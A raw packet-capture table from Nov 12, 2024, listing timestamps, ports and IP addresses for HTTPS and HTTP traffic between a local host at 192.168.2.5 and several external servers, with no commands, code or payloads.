Nov 12, 2024 08:30:42.946769953 CET	443	57114	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.946914911 CET	57114	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.947588921 CET	57114	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.947607040 CET	443	57114	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.949752092 CET	57121	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.949781895 CET	443	57121	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:42.949857950 CET	57121	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.950046062 CET	57121	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:42.950062990 CET	443	57121	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.126954079 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.127298117 CET	57116	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.127330065 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.127651930 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.127937078 CET	57116	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.127993107 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.128089905 CET	57116	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.175339937 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.178549051 CET	57116	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.258439064 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.258459091 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.258467913 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.258521080 CET	57116	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.258537054 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.258549929 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.258591890 CET	57116	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.260005951 CET	57116	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.260024071 CET	443	57116	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.266397953 CET	57122	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.266431093 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.266886950 CET	57122	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.266886950 CET	57122	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.266916037 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.579119921 CET	443	57118	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.579595089 CET	57118	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.579617023 CET	443	57118	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.580101013 CET	57118	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.580106974 CET	443	57118	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.588268995 CET	443	57119	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.588707924 CET	57119	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.588737011 CET	443	57119	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.589329958 CET	57119	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.589334011 CET	443	57119	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.601711988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:43.601861000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:43.603645086 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.605043888 CET	57117	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.605055094 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.606302977 CET	57117	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.606307030 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.606343985 CET	57117	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.606353045 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.662013054 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:43.667102098 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:43.689452887 CET	443	57121	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.689640999 CET	443	57120	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.689928055 CET	57121	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.689960957 CET	443	57121	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.690252066 CET	57120	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.690282106 CET	443	57120	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.690373898 CET	57121	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.690380096 CET	443	57121	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.690773964 CET	57120	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.690781116 CET	443	57120	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.710359097 CET	443	57118	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.716545105 CET	443	57118	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.716603994 CET	57118	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.716634035 CET	57118	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.716646910 CET	443	57118	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.716656923 CET	57118	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.716664076 CET	443	57118	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.719089031 CET	57123	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.719130993 CET	443	57123	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.719193935 CET	57123	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.719338894 CET	57123	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.719352961 CET	443	57123	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.724692106 CET	443	57119	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.724752903 CET	443	57119	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.724798918 CET	57119	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.724881887 CET	57119	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.724895954 CET	443	57119	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.724906921 CET	57119	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.724910975 CET	443	57119	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.727021933 CET	57124	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.727056026 CET	443	57124	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.727140903 CET	57124	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.727334023 CET	57124	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.727345943 CET	443	57124	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.803795099 CET	443	57113	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.804166079 CET	57113	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.804195881 CET	443	57113	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.804579973 CET	57113	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.804585934 CET	443	57113	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.819336891 CET	443	57121	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.823239088 CET	443	57121	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.823285103 CET	443	57121	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.823307037 CET	57121	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.823339939 CET	443	57120	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.823375940 CET	57121	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.823404074 CET	443	57120	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.823499918 CET	57121	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.823514938 CET	443	57121	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.823543072 CET	57121	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.823540926 CET	57120	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.823540926 CET	57120	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.823549986 CET	443	57121	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.823576927 CET	57120	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.823594093 CET	443	57120	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.825891972 CET	57126	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.825901985 CET	57125	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.825906992 CET	443	57126	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.825933933 CET	443	57125	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.825961113 CET	57126	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.826060057 CET	57125	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.826128960 CET	57125	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.826143026 CET	443	57125	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.826163054 CET	57126	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.826173067 CET	443	57126	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.899023056 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.901968002 CET	57122	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.901985884 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.902327061 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.902746916 CET	57122	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.902746916 CET	57122	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.902759075 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.902807951 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:43.939438105 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:43.939450026 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:43.939563036 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:43.939574003 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:43.939574003 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:43.939677000 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:43.941735983 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:43.946007013 CET	57122	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:43.946878910 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:43.971440077 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.971457958 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.971532106 CET	57117	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.971540928 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.971860886 CET	57117	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.971872091 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.971909046 CET	57117	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.971990108 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.972018003 CET	443	57117	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.972168922 CET	57117	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.992386103 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.992429018 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.992587090 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.992650986 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.992660046 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.997478008 CET	57128	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.997504950 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.997592926 CET	57128	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.997740030 CET	57128	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:43.997751951 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:43.998282909 CET	443	57113	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.998307943 CET	443	57113	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.998349905 CET	443	57113	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:43.998378038 CET	57113	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.998613119 CET	57113	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.998613119 CET	57113	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:43.998613119 CET	57113	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.001132011 CET	57129	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.001156092 CET	443	57129	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.001326084 CET	57129	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.001415968 CET	57129	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.001429081 CET	443	57129	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.033904076 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.033922911 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.033930063 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.033984900 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.034004927 CET	57122	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.034246922 CET	57122	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.037506104 CET	57122	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.037520885 CET	443	57122	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.039665937 CET	57130	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.039690971 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.039763927 CET	57130	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.040539026 CET	57130	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.040551901 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.219213963 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:44.219399929 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:44.227196932 CET	57113	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.227221966 CET	443	57113	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.230245113 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:44.235301018 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:44.459678888 CET	443	57124	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.460145950 CET	57124	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.460177898 CET	443	57124	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.460567951 CET	57124	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.460572958 CET	443	57124	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.465135098 CET	443	57123	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.465850115 CET	57123	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.465850115 CET	57123	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.465867043 CET	443	57123	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.465886116 CET	443	57123	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.545546055 CET	443	57126	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.546040058 CET	57126	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.546050072 CET	443	57126	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.548801899 CET	57126	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.548806906 CET	443	57126	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.565406084 CET	443	57125	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.566102028 CET	57125	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.566113949 CET	443	57125	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.566360950 CET	57125	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.566365004 CET	443	57125	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.588810921 CET	443	57124	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.588875055 CET	443	57124	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.589128017 CET	57124	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.589128017 CET	57124	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.589154005 CET	57124	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.589168072 CET	443	57124	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.591829062 CET	57131	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.591871977 CET	443	57131	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.592052937 CET	57131	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.592160940 CET	57131	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.592175961 CET	443	57131	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.596030951 CET	443	57123	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.596251011 CET	443	57123	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.596335888 CET	57123	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.596335888 CET	57123	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.596451044 CET	57123	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.596463919 CET	443	57123	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.598799944 CET	57132	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.598839998 CET	443	57132	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.599016905 CET	57132	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.599236965 CET	57132	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.599251032 CET	443	57132	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.650069952 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.650389910 CET	57130	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.650408983 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.650701046 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.651130915 CET	57130	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.651130915 CET	57130	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.651144028 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.651194096 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.673386097 CET	443	57126	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.673408985 CET	443	57126	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.673454046 CET	443	57126	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.673470020 CET	57126	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.673494101 CET	57126	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.673700094 CET	57126	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.673700094 CET	57126	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.673717976 CET	443	57126	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.673726082 CET	443	57126	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.676251888 CET	57133	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.676285982 CET	443	57133	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.676450014 CET	57133	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.676570892 CET	57133	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.676584005 CET	443	57133	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.696183920 CET	443	57125	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.696301937 CET	443	57125	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.696588039 CET	57125	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.696708918 CET	57125	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.696708918 CET	57125	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.696723938 CET	443	57125	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.696732998 CET	443	57125	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.699040890 CET	57134	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.699069023 CET	443	57134	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.699287891 CET	57134	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.699435949 CET	57134	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.699449062 CET	443	57134	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.700938940 CET	57130	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.744632959 CET	443	57129	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.744996071 CET	57129	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.745019913 CET	443	57129	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.745548964 CET	57129	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.745554924 CET	443	57129	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.781333923 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.781353951 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.781362057 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.781411886 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.781421900 CET	57130	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.781451941 CET	57130	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.782924891 CET	57130	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.782937050 CET	443	57130	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.790577888 CET	57135	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.790606022 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.790739059 CET	57135	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.790925980 CET	57135	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:44.790939093 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:44.876916885 CET	443	57129	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.876969099 CET	443	57129	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.877109051 CET	57129	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.877199888 CET	57129	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.877213001 CET	443	57129	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.877223015 CET	57129	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.877228022 CET	443	57129	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.879450083 CET	57136	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.879466057 CET	443	57136	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.879744053 CET	57136	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.879879951 CET	57136	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:44.879893064 CET	443	57136	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:44.994899988 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:44.995044947 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:45.026159048 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:45.031092882 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:45.062671900 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.063126087 CET	57128	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.063150883 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.063836098 CET	57128	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.063842058 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.063891888 CET	57128	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.063899994 CET	443	57128	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.094435930 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.094816923 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.094839096 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.095387936 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.095393896 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.095429897 CET	57127	443	192.168.2.5	20.190.159.23
Nov 12, 2024 08:30:45.095438957 CET	443	57127	20.190.159.23	192.168.2.5
Nov 12, 2024 08:30:45.303244114 CET	80	49809	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:45.303335905 CET	49809	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:45.307123899 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:45.311861992 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:45.314133883 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:45.314383030 CET	57137	80	192.168.2.5	185.215.113.16
Nov 12, 2024 08:30:45.314806938 CET	443	57131	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.315272093 CET	57131	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.315294027 CET	443	57131	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.315723896 CET	57131	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.315728903 CET	443	57131	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.319083929 CET	80	57137	185.215.113.16	192.168.2.5
Nov 12, 2024 08:30:45.328201056 CET	443	57132	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.328574896 CET	57132	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.328600883 CET	443	57132	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.328989029 CET	57132	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.328994036 CET	443	57132	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.386392117 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:45.386910915 CET	57135	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:45.386944056 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:45.387283087 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:45.387661934 CET	57135	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:45.387722969 CET	443	57135	23.47.50.150	192.168.2.5
Nov 12, 2024 08:30:45.387833118 CET	57135	443	192.168.2.5	23.47.50.150
Nov 12, 2024 08:30:45.413923025 CET	443	57133	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.414454937 CET	57133	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.414480925 CET	443	57133	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.415194035 CET	57133	443	192.168.2.5	13.107.246.45
Nov 12, 2024 08:30:45.415205002 CET	443	57133	13.107.246.45	192.168.2.5
Nov 12, 2024 08:30:45.427910089 CET	443	57134	13.107.246.45	192.168.2.5
